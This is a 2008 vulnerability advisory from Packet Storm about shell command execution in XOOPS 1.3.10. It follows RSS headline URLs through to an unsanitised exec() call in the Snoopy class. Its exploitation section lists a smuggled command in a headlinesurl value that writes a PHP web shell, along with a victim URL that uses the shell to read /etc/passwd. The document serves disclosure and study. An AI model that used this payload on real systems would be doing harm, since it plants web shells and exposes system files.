xoops-exec.txt

2008-09-08T00:00:00
ID PACKETSTORM:69714
Type packetstorm
Reporter x90c
Modified 2008-09-08T00:00:00

Description

                                        
                                            `==  
xoops-1.3.10 shell command execute vulnerability ( causing snoopy class )  
==  
Author: geinblues ( geinblues [at] gmail [dot] com )  
DATE: 9.7.2008  
Site: http://enterblue.net/~x90c/  
Risk: Midium  
==  
  
  
  
[0] Vulnerability Tracing ( Tracing [BREAK 0] ~ [BREAK 6] )  
  
~/xoops-1.3.10/html/class/snoopy.class.php  
--------------------------------------------------------------------------------------------------------------------  
  
function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")  
{  
..   
/* [BREAK 5]: $URI(sourceURl in vulnerable Moudle) is Ours injected parameter From below fetch() */  
$URI_PARTS = parse_url($URI);  
  
..  
/* [BREAK 6]: $URI (vulerable parameter) If we can reach to below, Then We can execute system shell command */  
exec($this->curl_path." -D \"/tmp/$headerfile\"".$cmdline_params." ".$URI,$results,$return);  
  
..  
}  
  
  
function fetch($URI)  
{  
  
//preg_match("|^([^:]+)://([^:/]+)(:[\d]+)*(.*)|",$URI,$URI_PARTS);  
$URI_PARTS = parse_url($URI);  
if (!empty($URI_PARTS["user"]))  
$this->user = $URI_PARTS["user"];  
if (!empty($URI_PARTS["pass"]))  
$this->pass = $URI_PARTS["pass"];  
  
switch($URI_PARTS["scheme"])  
{  
case "http":  
..  
case "https": /* [BREAK 3] sourceURl's first 5Bytes ( https in [BREAK 0] ) */  
if(!$this->curl_path || (!is_executable($this->curl_path)))  
return false;  
$this->host = $URI_PARTS["host"];  
if(!empty($URI_PARTS["port"]))  
$this->port = $URI_PARTS["port"];  
if($this->_isproxy)  
{  
// using proxy, send entire URI   
$this->_httpsrequest($URI,$URI,$this->_httpmethod);  
}  
else  
{  
$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");  
  
/* [BREAK 4] _httpsrequest(.., $URI, ..); Here Our Supplied $URI(sourceURl) */  
// no proxy, send only the path   
$this->_httpsrequest($path, $URI, $this->_httpmethod);  
}  
  
default:  
..  
}  
return true;  
}  
  
  
--------------------------------------------------------------------------------------------------------------------  
~/xoops-1.3.10/class/phpsyndication.lib.php  
  
// | required: - PHP |  
// | - Snoopy (find it here: http://freshmeat.net/projects/snoopy) |  
/* [BREAK 1] We can supply parameter from RSS file into sourceUrl firstly */  
class RSStoHTML  
{  
var $sourceUrl; // location of the source RSS file   
  
..  
}  
  
/**  
* includes Snoopy class for remote file access  
*/  
require(XOOPS_ROOT_PATH."/class/snoopy.class.php");  
..  
function getData($forcecache=false)  
{  
if(_PHPSYNDICATION_CONNECTED && $forcecache != true && (!file_exists($this->cacheDir.$this->cacheFile) || (filemtime($this->cacheDir.$this->cacheFile) + $this->cacheTimeout - time()) < 0))  
{  
$snoopy = new Snoopy;  
  
/* [BREAK 2] Here snoopy->fetch(sourceUrl from [BREAK 1]) member function calling */  
$snoopy->fetch($this->sourceUrl);  
$data = $snoopy->results;  
  
$cacheFile = fopen($this->cacheDir.$this->cacheFile, "w");  
fwrite($cacheFile, $data);  
fclose($cacheFile);  
}  
// fsockopen failed the last time, so force cache  
elseif ( $forcecache == true )  
{  
if (file_exists($this->cacheDir.$this->cacheFile)) {  
$data = implode('', file($this->cacheDir.$this->cacheFile));  
// set the modified time to a future time, and let the server have time to come up again  
touch($this->cacheDir.$this->cacheFile, time() + $this->cacheTimeout);  
} else {  
$data = "";  
}  
} else {  
$data = implode('', file($this->cacheDir.$this->cacheFile));  
}  
return $data;  
}  
  
function getHtml($fromcache=false)  
{  
$data = $this->getData($fromcache);  
  
..  
function getTitle($fromcache=false)  
{  
$data = $this->getData($fromcache=false);  
  
--------------------------------------------------------------------------------------------------------------------  
~/xoops-1.3.10/html/modules/headlines/blocks/headlines.php  
  
<?php  
  
function b_headlines_show() {  
global $xoopsDB;  
$block = array();  
$block['title'] = _MB_HEADLINES_TITLE;  
$block['content'] = "";  
include(XOOPS_ROOT_PATH."/class/phpsyndication.lib.php");  
$cache_dir = XOOPS_ROOT_PATH."/modules/headlines/cache/";  
$cache_time = 3600;  
$max_items = 10;  
$result = $xoopsDB->query("SELECT hid, sitename, url, headlinesurl, status FROM ".$xoopsDB->prefix("headlines")." WHERE status=1 OR status=2");  
$xoopsDB->queryF("UPDATE ".$xoopsDB->prefix("headlines")." SET status=1 WHERE status=2");  
while (list($hid, $sitename, $url, $headlinesurl, $status) = $xoopsDB->fetchRow($result)) {  
$cache_file = "newsheadline-$hid.cache";  
$block['content'] .= "<p>";  
// fsockopen was ok the last time, so do it again  
if ( $status == 2 ) {  
$synd = new RSStoHTML($headlinesurl, $cache_dir, $cache_file, $cache_time, $max_items);  
$block['content'] .= "<b>".$synd->getTitle()."</b><br />";  
$block['content'] .= $synd->getHtml();  
}  
// fsockopen did not return on the last attempt, so use cache  
elseif ( $status == 1 ) {  
// change cache time to 1 day(24hrs) might be safer  
  
/* [BREAK 0] RSStoHTML called when using this headlines module */  
$synd = new RSStoHTML($headlinesurl, $cache_dir, $cache_file, 86400, $max_items);   
  
$block['content'] .= "<b>".$synd->getTitle(true)."</b><br />";  
$block['content'] .= $synd->getHtml(true);  
}  
$block['content'] .= "</p>";  
// set status to 2(ok) for headlines that passed fsockopen or used cache  
$xoopsDB->queryF("UPDATE ".$xoopsDB->prefix("headlines")." SET status=2 WHERE hid=$hid");  
}  
return $block;  
}  
?>  
  
  
[1] Exploitation:  
  
A. (*)INTO DB:   
headlinesurl(headlines module table's field) = https://;`echo '<?passthru($cmd)?>' >> xox.php`  
  
B. Browsing xoops pages for referencing headlines module ( at this time. our parameter reached to snoopy class's exec(??,$URI,??) )  
  
C.   
IN WEB-BROWSER:   
http://victim/xoops-1.3.10/html/class/xox.php?cmd='cat /etc/passwd'  
  
TODO : http://www.xoops.org/modules/news/archive.php  
We can search more vulnerable modules else headlinesurl (default module) from above url.  
  
  
  
`